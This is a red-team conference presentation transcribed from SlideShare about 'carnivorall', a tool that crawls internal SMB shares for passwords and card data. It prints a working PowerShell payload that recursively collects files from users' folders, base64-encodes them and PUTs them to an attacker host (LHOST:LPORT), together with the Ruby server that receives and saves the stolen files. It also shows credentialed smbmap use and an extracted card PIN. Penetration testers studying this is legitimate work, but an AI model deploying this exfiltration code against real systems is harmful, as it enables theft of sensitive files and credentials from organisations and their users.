SlideShare a Scribd company logo
▄████▄ ▄▄▄ ██▀███ ███▄ █ ██▓ ██▒ █▓ ▒█████ ██▀███ ▄▄▄ ██▓ ██▓
▒██▀ ▀█ ▒████▄ ▓██ ▒ ██▒ ██ ▀█ █ ▓██▒▓██░ █▒▒██▒ ██▒▓██ ▒ ██▒▒████▄ ▓██▒ ▓██▒
▒▓█ ▄ ▒██ ▀█▄ ▓██ ░▄█ ▒▓██ ▀█ ██▒▒██▒ ▓██ █▒░▒██░ ██▒▓██ ░▄█ ▒▒██ ▀█▄ ▒██░ ▒██░
▒▓▓▄ ▄██▒░██▄▄▄▄██ ▒██▀▀█▄ ▓██▒ ▐▌██▒░██░ ▒██ █░░▒██ ██░▒██▀▀█▄ ░██▄▄▄▄██ ▒██░ ▒██░
▒ ▓███▀ ░ ▓█ ▓██▒░██▓ ▒██▒▒██░ ▓██░░██░ ▒▀█░ ░ ████▓▒░░██▓ ▒██▒ ▓█ ▓██▒░██████▒░██████▒
░ ░▒ ▒ ░ ▒▒ ▓▒█░░ ▒▓ ░▒▓░░ ▒░ ▒ ▒ ░▓ ░ ▐░ ░ ▒░▒░▒░ ░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░ ▒░▓ ░░ ▒░▓ ░
░ ▒ ▒ ▒▒ ░ ░▒ ░ ▒░░ ░░ ░ ▒░ ▒ ░ ░ ░░ ░ ▒ ▒░ ░▒ ░ ▒░ ▒ ▒▒ ░░ ░ ▒ ░░ ░ ▒ ░
░ ░ ▒ ░░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░ ░ ▒ ░░ ░ ░ ▒ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░
,##############*
####**/*******/*********/##.
#******************************##
###/***************/************/##
##(*#(*****//*********/************##
../##*##//****/**********/**/********##
.# ##.#/#(##****************/**********##
## ##**##/***********************/(#
# #.* #***##/*/************/**/****#
#., ,##, /./#***##(*******************#
###/*(##.,. #*%#. /,.# #***##/*******/*******#
#**/*##(***#,# #.* ### ###/####/##*****#****#
#/*/*/***/###(*####..####.##,#.#######*/#***/#
#******/******/*(###############(****/#****/#
##******************************#(*******/#
#(************//************************#
##**********************/************#
##***/*//******************/*****#
#### ###******************/*****(# #*/*//#
(******. #****### .######(//***********#/ #/*/##/***#
(/ (*# ##*****/(## ##*********#/ ## (**# #**/,
./ #*# #/**/*//*/## ##*******//# ###***##//# ***#
/# #*( ##***#***/**# ##/********###(*###******(#**# .**/#
(*# #**/**##**(/#//*******(##**##(**//*(***#/##( .##***/
#############/ /#//(###(*/#*******/##/*###/***/##*/**##/*********/*#
.#*****/*/**//*#####**/***#(********#..##**//*/*#/****## ###/***/*#(
#/****#(***/*/***/*###(/*#********###*/***//#*////### #//**/##
##/*****###**#********##//******/#/****(*****//*****# ##*(#
###/*****/((##*//**(****##****##****(///****/*/*****/# (*#
#***###(//****//*(##*#(*/***/#*#//**#(*****/###***#**/*/## #/ (*#
//*# %%##*******#***********#/****/*****/#%%%%#*( *****. * .##,
/**# %(((((((##*******///*/#/*/#%%%%%%(((((((%.(*##****# ((
#(**# #**/ %(((((((#**/**#(((((((((((((((((((((((((% #/(/***#/**
#* #/*, %(((((((***/#(((((((((((((((( (/(/(((/(*,,,,*////(,,((///////(*,,
*# #**, %(((((#****(((((((((((((((.,((( ((((/.((#,,,,*////((///((((((///(*
/( /** #%%(****((((((((((((((((((,(,(((######,,,,,,////(/(/,,,,,,,,(//(
/*( #**# %(#***##%%%%#((((((((#%%%%%%#(((((#% #/**/ #/**
#******# %##***#(((((((((((((((((((((((((((%% ##***/# #**/#
%##**/((((((((((((((((((((((((((((%% .#*#*****/*##(*****#
#### %%#**/((((((((((((((((((((((((((((%% *(/# #***//**/*(%
(#/##### (%#**/((((((((((((((((((((((((((((%* #*#*
#*( %#**/((((((((((((((((((((((((((((% ##*
(*/ %#/**((((((((((((((((((((((((((((%
(*/ %/**#(((((((((((((((((((((((((((#%
.**/ #***((((((((((((((((((((((((((((%%
#*# #***(((((((((((((((((((((((((((((%%
#**# ***(((((((((((((((((((((((((((((((%,
#/**/#* .#/***#%((((((((((((((((((((((((((((((%
#/******#, %((((((((((((((((((((((((((((((%
2018
#
[+] Motivation
[+] Another tools
[+] Kind of files
[+] Carnivorall / PoCs
[+] Bonus
[+] Next steps
cat agenda.txt
#
[+] One of the most time consuming tasks as a
red teamer is diving into filesystems and
shares, attempting to identify any
potentially sensitive information.
[+] Clients sometimes don’t understand
[+] Exploitation is not a problem,sometimes
domain admin is only the begining
[+] Huge quantity of files on fileservers
[+] Users always store sensitive information
on corporate servers
* usernames / passwords / cards
cat motivation.txt
#
[+] https://github.com/Raikia/SMBCrunch
SMBHunt.pl # SMBHunt finds all the Windows File Shares
SMBList.pl # Take the output file from "SMBHunt.pl" and will
perform a recursive directory listing
SMBGrab.pl # File listings from SMBList.pl can be pipped into
this utility to grab the files wanted from the shares.
SMBGrab
File listings from SMBList.pl can be pipped into this utility
to grab the files wanted from the shares. The original listing
from SMBList.pl should be "grepped" before passing to this
script, otherwise all files will be downloaded (which is the
equivalent of copying the entire share and is bad)
cat similar_tools.txt
#
[+] https://github.com/ShawnDEvans/smbmap
File name auto-download pattern matching
Distrubted file content searching
python smbmap.py --host-file ~/Desktop/smb-workstation-
sml.txt -u NopSec -p 'NopSec1234!' -d widgetworld -F '[1-
9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]'
[+] Finding open SMB ports....
[+] User SMB session establishd on 192.168.0.99...
[+] User SMB session establishd on 192.168.0.85...
[+] User SMB session establishd on 192.168.0.89...
[+] File search started on 1 hosts...this could take a
while
[+] Job 4650e5a97b9f4ca884613f4b started on 192.168.0.99,
result will be stored at C:Temp
4650e5a97b9f4ca884613f4b.txt
cat similar_tools.txt
# CrackMapExec -spider
def search_content(self, path, result):
…
rfile.open()
while True:
try:
contents = rfile.read(4096) # Max 4MB
if not contents:
break
except SessionError as e:
if 'STATUS_END_OF_FILE' in str(e):
break
...
for pattern in self.pattern:
if contents.lower().find(pattern.lower()) != -1:
self.logger.highlight(u"//{}/{}{} [lastm:'{}' size:{} offset:{}
pattern:'{}']".format(self.share,path,result.get_longname(),'na' if not
self.get_lastm_time(result) else
self.get_lastm_time(result),result.get_filesize(),rfile.tell(),pattern))
self.results.append('{}{}'.format(path, result.get_longname()))
for regex in self.regex:
if regex.findall(contents):
self.logger.highlight(u"//{}/{}{} [lastm:'{}' size:{} offset:{}
regex:'{}']".format(self.share,
path,result.get_longname(),'na' if not self.get_lastm_time(result) eles
self.get_lastm_time(result),result.get_filesize(),
rfile.tell(),regex.pattern))
self.results.append('{}{}'.format(path, result.get_longname()))
rfile.close()
return
#
[+] Open document (zip) since MSOffice 2007
[+] Simple “grep” does not work
# unzip senhas.xlsx
Archive: senhas.xlsx
inflating: [Content_Types].xml
inflating: _rels/.rels
inflating: xl/_rels/workbook.xml.rels
inflating: xl/workbook.xml
inflating: xl/worksheets/sheet4.xml
inflating: xl/worksheets/sheet3.xml
inflating: xl/worksheets/sheet2.xml
inflating: xl/worksheets/_rels/sheet1.xml.rels
inflating: xl/pivotTables/_rels/pivotTable1.xml.rels
inflating: xl/charts/chart3.xml
inflating: xl/drawings/drawing2.xml
inflating: xl/pivotTables/pivotTable6.xml
...
man MSOffice
#
[+] A PDF file is often a combination of vector
graphics, text, and bitmap graphics.
[+] Simple “grep” does not work
gs -dNOPAUSE -sDEVICE=txtwrite -sOutputFile=- -
dNOPROMPT -dQUIET -dBATCH "$FILENAME" | egrep -i "
b$REGEXb"
[root]# grep -a -i senha cred_Carta Senha.pdf
[root]#
[root]# gs -dNOPAUSE -sDEVICE=txtwrite -sOutputFile=- -
dNOPROMPT -dQUIET -dBATCH "cred_Carta Senha.pdf" | grep -i
"senha"
Você está recebendo a senha do seu Cartão com chip.
Esta senha será necessária para:
ATENÇÃO: ao efetuar compras, você deverá utilizar sua
senha. Assim, não será A senha do seu Cartão
MASTERCARD NACIONAL número XXXX.XXXX.XXXX.2454 está
SENHA: 4586
man PDF
#
[+] .TXT / .CSV / .CONF / .XML / .CNF
[+] Simple “grep” works very well!!
[+] MIME Type
[+] Because people still save passwords in
txt files =)
[+] But… and binaries?
man plainText
#
[+] YARA is a tool aimed at (but not limited to) helping malware
researchers to identify and classify malware samples. With YARA
you can create descriptions of malware families (or whatever you
want to describe) based on textual or binary patterns
[+] Rules:
rule silent_banker : banker
{
meta:
description = "This is just an example"
threat_level = 3
in_the_wild = true
strings:
$a = {6A 40 68 00 30 00 00 6A 14 8D 91}
$b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9}
$c = "UVODFRYSIHLNWPEJXQZAKCBGMT"
condition:
$a or $b or $c
}
man yara
#
[+] https://github.com/InQuest/awesome-yara
[+] https://github.com/DiabloHorn/yara4pentesters
rule gpp_file : passwords plain_password
{
meta:
author = "DiabloHorn https://diablohorn.com"
description = "find gpp files"
strings:
$content1 = "<?xml" nocase
$content2 = "<user" nocase
$content3 = "cpassword=" nocase
$content4 = "username=" nocase
$content5 = "clsid=" nocase
$content6 = "</user>" nocase
condition:
all of them
}
man yara |grep pentest
#
[+] Because it is a tool aimed scan
internal networks looking for files with
sensitive information on SMB shares.
[+] including all techniques described
[+] Fast
[+] Shell Script / Ruby / Power Shell
Why carnivorall?
# ./carnivorall.sh
Scan network / mount SMB
Find and Copy
Saving files
# ./poc1
[+] Scanning a network
[+] Searching by name
[+] Searching by content
[+] Searching by regex
# ./poc2.sh
[+] ./carnivorall -n 192.168.0.0/24 -u Admin -p
Admin -d COMPANY -lH 192.168.1.2 -pP ./payload.ps1 -
lP 80
Atexec or psexec – GET /ps.ps1
GET /ps.ps1
PUT /send
Saving files
File1
File2
File3
function Search-files
{
$global:resultSearch = Get-ChildItem -Path "C:Users" -Include *.* -Force -Recurse -
ErrorAction SilentlyContinue | Where-Object { $_.Name -match "MATCH" } | Select -exp FullName
}
function Sendfiles-files ($content, $filename, $hostname)
{
$url = "http://LHOST:LPORT/send"
$request = [System.Net.WebRequest]::Create($url)
$request.ContentType = "application/x-www-form-urlencoded"
$request.Method = "PUT"
try
{
$requestStream = $request.GetRequestStream()
$streamWriter = New-Object System.IO.StreamWriter($requestStream)
$streamWriter.Write("hn=$hostname&fn=$filename&fc=$content")
}
finally
{
if ($null -ne $streamWriter) { $streamWriter.Dispose() }
if ($null -ne $requestStream) { $requestStream.Dispose() }
}
$res = $request.GetResponse()
}
Search-files
$hostname = whoami
$hostname = [System.Text.Encoding]::UTF8.GetBytes($hostname)
$hostname = [Convert]::ToBase64String($hostname)
Foreach ($f in $global:resultSearch)
{
$FileContent = [System.IO.File]::ReadAllBytes($f)
$FileContentBase64 = [System.Convert]::ToBase64String($FileContent);
$f = [System.Text.Encoding]::UTF8.GetBytes($f)
$f = [Convert]::ToBase64String($f)
Sendfiles-files $FileContentBase64 $f $hostname
sleep 0.5
}
2.0
get "/:ps.ps1" do
"#{payload}"
end
put "/send" do
hostName = params[:hn].unpack('m*')[0]
fileName = params[:fn].unpack('m*')[0]
fileContent = params[:fc].gsub(/s/,'+').unpack('m*')
[0].unpack('a*')[0]
puts "n [+]".green + " File from IP...: #{request.ip} |
Hostname...: #{hostName} ".white
print " Filename.......: #{fileName} "
unless File.directory?("#{dstFolder}/#{request.ip}")
FileUtils.mkdir_p("#{dstFolder}/#{request.ip}")
end
onlyFileName = fileName.split("").last
if !fileName.empty? && !fileContent.empty?
out_file =
File.new("#{dstFolder}/#{request.ip}/#{DateTime.now.strftime('%Q')}.#
{onlyFileName}", "w")
out_file << fileContent
out_file.close
puts "[OK]n".green
else
puts "[Error]n".red
end
end
File1
File2
File3
...
File4
File5
File6
# ./poc3.sh
Web application
(IP/PORT)
GET /ps.ps1
PUT /send
File1
File2
File3
...
File4
Rasp0 like a
Keyboard
# working
# Researcher
[+] Jalin Habey
[+] PhD - Harmonic Dynamic Motion of Phallic Objects
[+] Especialista em algoritimos de busca gulosa
# cat next_steps.txt
[+] Automatic unpack and parse PST contents
[+] Look for specific user messages
Ex.:
From: fulano@cliente.com.br
To: ciclano@cliente.com.br
Body: Sensitive content
[+] Look for sensitive information at repositories,
GitLab etc
[+] POP3 / IMAP
[+] Protocols FTP / NFS / whatever...
Thank you!
http://github.com/L0stcontrol

More Related Content

PDF
WordPress Security: Be a Superhero - WordCamp Raleigh - May 2011
TXT
TXT
R57.Php
KEY
Mongoose v3 :: The Future is Bright
PPTX
Representing Material Culture Online: Historic Clothing in Omeka
TXT
C99
PDF
Geb for Testing Your Grails Application GR8Conf India 2016
PDF
Top 10 php classic traps confoo
WordPress Security: Be a Superhero - WordCamp Raleigh - May 2011
R57.Php
Mongoose v3 :: The Future is Bright
Representing Material Culture Online: Historic Clothing in Omeka
C99
Geb for Testing Your Grails Application GR8Conf India 2016
Top 10 php classic traps confoo

What's hot (18)

TXT
C99[2]
TXT
Command
PDF
Slaying the Dragon: Implementing a Programming Language in Ruby
PDF
201412 seccon2014 オンライン予選(英語) write-up
PDF
TypeScriptで書くAngularJS @ GDG神戸2014.8.23
PDF
モダンAngularJS @ GDG中国2014.12.6
PDF
FalcorJS
TXT
C99.php
PDF
Intro to OAuth
KEY
Rebooting TEI Pointers
TXT
Getfilestruct zbksh(1)
PDF
Dip Your Toes In The Sea Of Security (PHPNW16)
PDF
I Don't Care About Security (And Neither Should You)
TXT
Nouveau document texte
TXT
Yy
PDF
Chapter 2: R tutorial Handbook for Data Science and Machine Learning Practiti...
PDF
Ajax и будущее Java Script
C99[2]
Command
Slaying the Dragon: Implementing a Programming Language in Ruby
201412 seccon2014 オンライン予選(英語) write-up
TypeScriptで書くAngularJS @ GDG神戸2014.8.23
モダンAngularJS @ GDG中国2014.12.6
FalcorJS
C99.php
Intro to OAuth
Rebooting TEI Pointers
Getfilestruct zbksh(1)
Dip Your Toes In The Sea Of Security (PHPNW16)
I Don't Care About Security (And Neither Should You)
Nouveau document texte
Yy
Chapter 2: R tutorial Handbook for Data Science and Machine Learning Practiti...
Ajax и будущее Java Script
Ad

Similar to Speeding up Red Team engagements with carnivorall (20)

PDF
Pentesting111111 Cheat Sheet_OSCP_2023.pdf
PPTX
Penetration Testing and Intrusion Detection System
PDF
Introduction to Windows Dictionary Attacks
PDF
The Art of Grey-Box Attack
PDF
Ethical hacking mind map
PDF
eCPPeeeefeewfwefwfwefwfeeeeeeeeeeeeeeT.pdf
DOCX
Backtrack Manual Part8
PPTX
Building an Automated Behavioral Malware Analysis Environment using Free and ...
PDF
gnu-coreutils-cheat-sheet
PDF
gnu-coreutils-cheat-sheet
PDF
gnu-coreutils-cheat-sheet
DOC
Treebeard's Unix Cheat Sheet
PDF
Пример отчета по анализу вредоносного кода TeslaCrypt, подготовленного Cisco ...
PPT
Intro To Hacking
PDF
Hack The Box Nest 10.10.10.178
PDF
Unix reference sheet
PDF
Linux command line
PPTX
Secure360 - Attack All the Layers! Again!
DOC
CMD Command
Pentesting111111 Cheat Sheet_OSCP_2023.pdf
Penetration Testing and Intrusion Detection System
Introduction to Windows Dictionary Attacks
The Art of Grey-Box Attack
Ethical hacking mind map
eCPPeeeefeewfwefwfwefwfeeeeeeeeeeeeeeT.pdf
Backtrack Manual Part8
Building an Automated Behavioral Malware Analysis Environment using Free and ...
gnu-coreutils-cheat-sheet
gnu-coreutils-cheat-sheet
gnu-coreutils-cheat-sheet
Treebeard's Unix Cheat Sheet
Пример отчета по анализу вредоносного кода TeslaCrypt, подготовленного Cisco ...
Intro To Hacking
Hack The Box Nest 10.10.10.178
Unix reference sheet
Linux command line
Secure360 - Attack All the Layers! Again!
CMD Command
Ad

More from Nullbyte Security Conference (15)

PDF
Gitminer 2.0 - Advance Search on Github
PDF
Automatizando o abuso de repositórios expostos
PDF
Windows Internals: fuzzing, hijacking and weaponizing kernel objects
PDF
Windows's Kindnesses - Commoner to D-K(d)OM (Direct Kernel Object Manipulation)
PDF
Is rust language really safe?
PDF
Stealth post-exploitation with phpsploit
PDF
Anti-Anti-Forense de Memória: Abortando o "Abort Factor"
PDF
C&C Botnet Factory
PDF
Hacking cable modems the later years
PDF
Muito além do alert() em ataques web client side
PDF
Cabra Arretado Aperriando o WordPress
PDF
Rootkits em kernel space - Redshift, um rootkit para o kernel do FreeBSD
PDF
How i cracked millions of “pt br” hashed passwords
PDF
Evitando execução de códigos arbitrários com GRsecurity e PaX
PDF
All your binaries are belong to us
Gitminer 2.0 - Advance Search on Github
Automatizando o abuso de repositórios expostos
Windows Internals: fuzzing, hijacking and weaponizing kernel objects
Windows's Kindnesses - Commoner to D-K(d)OM (Direct Kernel Object Manipulation)
Is rust language really safe?
Stealth post-exploitation with phpsploit
Anti-Anti-Forense de Memória: Abortando o "Abort Factor"
C&C Botnet Factory
Hacking cable modems the later years
Muito além do alert() em ataques web client side
Cabra Arretado Aperriando o WordPress
Rootkits em kernel space - Redshift, um rootkit para o kernel do FreeBSD
How i cracked millions of “pt br” hashed passwords
Evitando execução de códigos arbitrários com GRsecurity e PaX
All your binaries are belong to us

Recently uploaded (20)

PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PPTX
A Presentation on Artificial Intelligence
PDF
Machine learning based COVID-19 study performance prediction
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
PPT
“AI and Expert System Decision Support & Business Intelligence Systems”
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PDF
Modernizing your data center with Dell and AMD
PDF
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PPTX
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
PPTX
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
PDF
The Rise and Fall of 3GPP – Time for a Sabbatical?
PDF
Network Security Unit 5.pdf for BCA BBA.
PPTX
MYSQL Presentation for SQL database connectivity
PDF
Encapsulation_ Review paper, used for researhc scholars
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PDF
Unlocking AI with Model Context Protocol (MCP)
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PDF
cuic standard and advanced reporting.pdf
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
A Presentation on Artificial Intelligence
Machine learning based COVID-19 study performance prediction
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
“AI and Expert System Decision Support & Business Intelligence Systems”
Dropbox Q2 2025 Financial Results & Investor Presentation
Modernizing your data center with Dell and AMD
Bridging biosciences and deep learning for revolutionary discoveries: a compr...
Understanding_Digital_Forensics_Presentation.pptx
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
PA Analog/Digital System: The Backbone of Modern Surveillance and Communication
The Rise and Fall of 3GPP – Time for a Sabbatical?
Network Security Unit 5.pdf for BCA BBA.
MYSQL Presentation for SQL database connectivity
Encapsulation_ Review paper, used for researhc scholars
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
Unlocking AI with Model Context Protocol (MCP)
Diabetes mellitus diagnosis method based random forest with bat algorithm
cuic standard and advanced reporting.pdf

Speeding up Red Team engagements with carnivorall

  • 1. ▄████▄ ▄▄▄ ██▀███ ███▄ █ ██▓ ██▒ █▓ ▒█████ ██▀███ ▄▄▄ ██▓ ██▓ ▒██▀ ▀█ ▒████▄ ▓██ ▒ ██▒ ██ ▀█ █ ▓██▒▓██░ █▒▒██▒ ██▒▓██ ▒ ██▒▒████▄ ▓██▒ ▓██▒ ▒▓█ ▄ ▒██ ▀█▄ ▓██ ░▄█ ▒▓██ ▀█ ██▒▒██▒ ▓██ █▒░▒██░ ██▒▓██ ░▄█ ▒▒██ ▀█▄ ▒██░ ▒██░ ▒▓▓▄ ▄██▒░██▄▄▄▄██ ▒██▀▀█▄ ▓██▒ ▐▌██▒░██░ ▒██ █░░▒██ ██░▒██▀▀█▄ ░██▄▄▄▄██ ▒██░ ▒██░ ▒ ▓███▀ ░ ▓█ ▓██▒░██▓ ▒██▒▒██░ ▓██░░██░ ▒▀█░ ░ ████▓▒░░██▓ ▒██▒ ▓█ ▓██▒░██████▒░██████▒ ░ ░▒ ▒ ░ ▒▒ ▓▒█░░ ▒▓ ░▒▓░░ ▒░ ▒ ▒ ░▓ ░ ▐░ ░ ▒░▒░▒░ ░ ▒▓ ░▒▓░ ▒▒ ▓▒█░░ ▒░▓ ░░ ▒░▓ ░ ░ ▒ ▒ ▒▒ ░ ░▒ ░ ▒░░ ░░ ░ ▒░ ▒ ░ ░ ░░ ░ ▒ ▒░ ░▒ ░ ▒░ ▒ ▒▒ ░░ ░ ▒ ░░ ░ ▒ ░ ░ ░ ▒ ░░ ░ ░ ░ ░ ▒ ░ ░░ ░ ░ ░ ▒ ░░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ,##############* ####**/*******/*********/##. #******************************## ###/***************/************/## ##(*#(*****//*********/************## ../##*##//****/**********/**/********## .# ##.#/#(##****************/**********## ## ##**##/***********************/(# # #.* #***##/*/************/**/****# #., ,##, /./#***##(*******************# ###/*(##.,. #*%#. /,.# #***##/*******/*******# #**/*##(***#,# #.* ### ###/####/##*****#****# #/*/*/***/###(*####..####.##,#.#######*/#***/# #******/******/*(###############(****/#****/# ##******************************#(*******/# #(************//************************# ##**********************/************# ##***/*//******************/*****# #### ###******************/*****(# #*/*//# (******. #****### .######(//***********#/ #/*/##/***# (/ (*# ##*****/(## ##*********#/ ## (**# #**/, ./ #*# #/**/*//*/## ##*******//# ###***##//# ***# /# #*( ##***#***/**# ##/********###(*###******(#**# .**/# (*# #**/**##**(/#//*******(##**##(**//*(***#/##( .##***/ #############/ /#//(###(*/#*******/##/*###/***/##*/**##/*********/*# .#*****/*/**//*#####**/***#(********#..##**//*/*#/****## ###/***/*#( #/****#(***/*/***/*###(/*#********###*/***//#*////### #//**/## ##/*****###**#********##//******/#/****(*****//*****# ##*(# ###/*****/((##*//**(****##****##****(///****/*/*****/# (*# #***###(//****//*(##*#(*/***/#*#//**#(*****/###***#**/*/## #/ (*# //*# %%##*******#***********#/****/*****/#%%%%#*( *****. * .##, /**# %(((((((##*******///*/#/*/#%%%%%%(((((((%.(*##****# (( #(**# #**/ %(((((((#**/**#(((((((((((((((((((((((((% #/(/***#/** #* #/*, %(((((((***/#(((((((((((((((( (/(/(((/(*,,,,*////(,,((///////(*,, *# #**, %(((((#****(((((((((((((((.,((( ((((/.((#,,,,*////((///((((((///(* /( /** #%%(****((((((((((((((((((,(,(((######,,,,,,////(/(/,,,,,,,,(//( /*( #**# %(#***##%%%%#((((((((#%%%%%%#(((((#% #/**/ #/** #******# %##***#(((((((((((((((((((((((((((%% ##***/# #**/# %##**/((((((((((((((((((((((((((((%% .#*#*****/*##(*****# #### %%#**/((((((((((((((((((((((((((((%% *(/# #***//**/*(% (#/##### (%#**/((((((((((((((((((((((((((((%* #*#* #*( %#**/((((((((((((((((((((((((((((% ##* (*/ %#/**((((((((((((((((((((((((((((% (*/ %/**#(((((((((((((((((((((((((((#% .**/ #***((((((((((((((((((((((((((((%% #*# #***(((((((((((((((((((((((((((((%% #**# ***(((((((((((((((((((((((((((((((%, #/**/#* .#/***#%((((((((((((((((((((((((((((((% #/******#, %((((((((((((((((((((((((((((((% 2018
  • 2. # [+] Motivation [+] Another tools [+] Kind of files [+] Carnivorall / PoCs [+] Bonus [+] Next steps cat agenda.txt
  • 3. # [+] One of the most time consuming tasks as a red teamer is diving into filesystems and shares, attempting to identify any potentially sensitive information. [+] Clients sometimes don’t understand [+] Exploitation is not a problem,sometimes domain admin is only the begining [+] Huge quantity of files on fileservers [+] Users always store sensitive information on corporate servers * usernames / passwords / cards cat motivation.txt
  • 4. # [+] https://github.com/Raikia/SMBCrunch SMBHunt.pl # SMBHunt finds all the Windows File Shares SMBList.pl # Take the output file from "SMBHunt.pl" and will perform a recursive directory listing SMBGrab.pl # File listings from SMBList.pl can be pipped into this utility to grab the files wanted from the shares. SMBGrab File listings from SMBList.pl can be pipped into this utility to grab the files wanted from the shares. The original listing from SMBList.pl should be "grepped" before passing to this script, otherwise all files will be downloaded (which is the equivalent of copying the entire share and is bad) cat similar_tools.txt
  • 5. # [+] https://github.com/ShawnDEvans/smbmap File name auto-download pattern matching Distrubted file content searching python smbmap.py --host-file ~/Desktop/smb-workstation- sml.txt -u NopSec -p 'NopSec1234!' -d widgetworld -F '[1- 9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]' [+] Finding open SMB ports.... [+] User SMB session establishd on 192.168.0.99... [+] User SMB session establishd on 192.168.0.85... [+] User SMB session establishd on 192.168.0.89... [+] File search started on 1 hosts...this could take a while [+] Job 4650e5a97b9f4ca884613f4b started on 192.168.0.99, result will be stored at C:Temp 4650e5a97b9f4ca884613f4b.txt cat similar_tools.txt
  • 6. # CrackMapExec -spider def search_content(self, path, result): … rfile.open() while True: try: contents = rfile.read(4096) # Max 4MB if not contents: break except SessionError as e: if 'STATUS_END_OF_FILE' in str(e): break ... for pattern in self.pattern: if contents.lower().find(pattern.lower()) != -1: self.logger.highlight(u"//{}/{}{} [lastm:'{}' size:{} offset:{} pattern:'{}']".format(self.share,path,result.get_longname(),'na' if not self.get_lastm_time(result) else self.get_lastm_time(result),result.get_filesize(),rfile.tell(),pattern)) self.results.append('{}{}'.format(path, result.get_longname())) for regex in self.regex: if regex.findall(contents): self.logger.highlight(u"//{}/{}{} [lastm:'{}' size:{} offset:{} regex:'{}']".format(self.share, path,result.get_longname(),'na' if not self.get_lastm_time(result) eles self.get_lastm_time(result),result.get_filesize(), rfile.tell(),regex.pattern)) self.results.append('{}{}'.format(path, result.get_longname())) rfile.close() return
  • 7. # [+] Open document (zip) since MSOffice 2007 [+] Simple “grep” does not work # unzip senhas.xlsx Archive: senhas.xlsx inflating: [Content_Types].xml inflating: _rels/.rels inflating: xl/_rels/workbook.xml.rels inflating: xl/workbook.xml inflating: xl/worksheets/sheet4.xml inflating: xl/worksheets/sheet3.xml inflating: xl/worksheets/sheet2.xml inflating: xl/worksheets/_rels/sheet1.xml.rels inflating: xl/pivotTables/_rels/pivotTable1.xml.rels inflating: xl/charts/chart3.xml inflating: xl/drawings/drawing2.xml inflating: xl/pivotTables/pivotTable6.xml ... man MSOffice
  • 8. # [+] A PDF file is often a combination of vector graphics, text, and bitmap graphics. [+] Simple “grep” does not work gs -dNOPAUSE -sDEVICE=txtwrite -sOutputFile=- - dNOPROMPT -dQUIET -dBATCH "$FILENAME" | egrep -i " b$REGEXb" [root]# grep -a -i senha cred_Carta Senha.pdf [root]# [root]# gs -dNOPAUSE -sDEVICE=txtwrite -sOutputFile=- - dNOPROMPT -dQUIET -dBATCH "cred_Carta Senha.pdf" | grep -i "senha" Você está recebendo a senha do seu Cartão com chip. Esta senha será necessária para: ATENÇÃO: ao efetuar compras, você deverá utilizar sua senha. Assim, não será A senha do seu Cartão MASTERCARD NACIONAL número XXXX.XXXX.XXXX.2454 está SENHA: 4586 man PDF
  • 9. # [+] .TXT / .CSV / .CONF / .XML / .CNF [+] Simple “grep” works very well!! [+] MIME Type [+] Because people still save passwords in txt files =) [+] But… and binaries? man plainText
  • 10. # [+] YARA is a tool aimed at (but not limited to) helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families (or whatever you want to describe) based on textual or binary patterns [+] Rules: rule silent_banker : banker { meta: description = "This is just an example" threat_level = 3 in_the_wild = true strings: $a = {6A 40 68 00 30 00 00 6A 14 8D 91} $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9} $c = "UVODFRYSIHLNWPEJXQZAKCBGMT" condition: $a or $b or $c } man yara
  • 11. # [+] https://github.com/InQuest/awesome-yara [+] https://github.com/DiabloHorn/yara4pentesters rule gpp_file : passwords plain_password { meta: author = "DiabloHorn https://diablohorn.com" description = "find gpp files" strings: $content1 = "<?xml" nocase $content2 = "<user" nocase $content3 = "cpassword=" nocase $content4 = "username=" nocase $content5 = "clsid=" nocase $content6 = "</user>" nocase condition: all of them } man yara |grep pentest
  • 12. # [+] Because it is a tool aimed scan internal networks looking for files with sensitive information on SMB shares. [+] including all techniques described [+] Fast [+] Shell Script / Ruby / Power Shell Why carnivorall?
  • 13. # ./carnivorall.sh Scan network / mount SMB Find and Copy Saving files
  • 14. # ./poc1 [+] Scanning a network [+] Searching by name [+] Searching by content [+] Searching by regex
  • 15. # ./poc2.sh [+] ./carnivorall -n 192.168.0.0/24 -u Admin -p Admin -d COMPANY -lH 192.168.1.2 -pP ./payload.ps1 - lP 80 Atexec or psexec – GET /ps.ps1 GET /ps.ps1 PUT /send Saving files File1 File2 File3
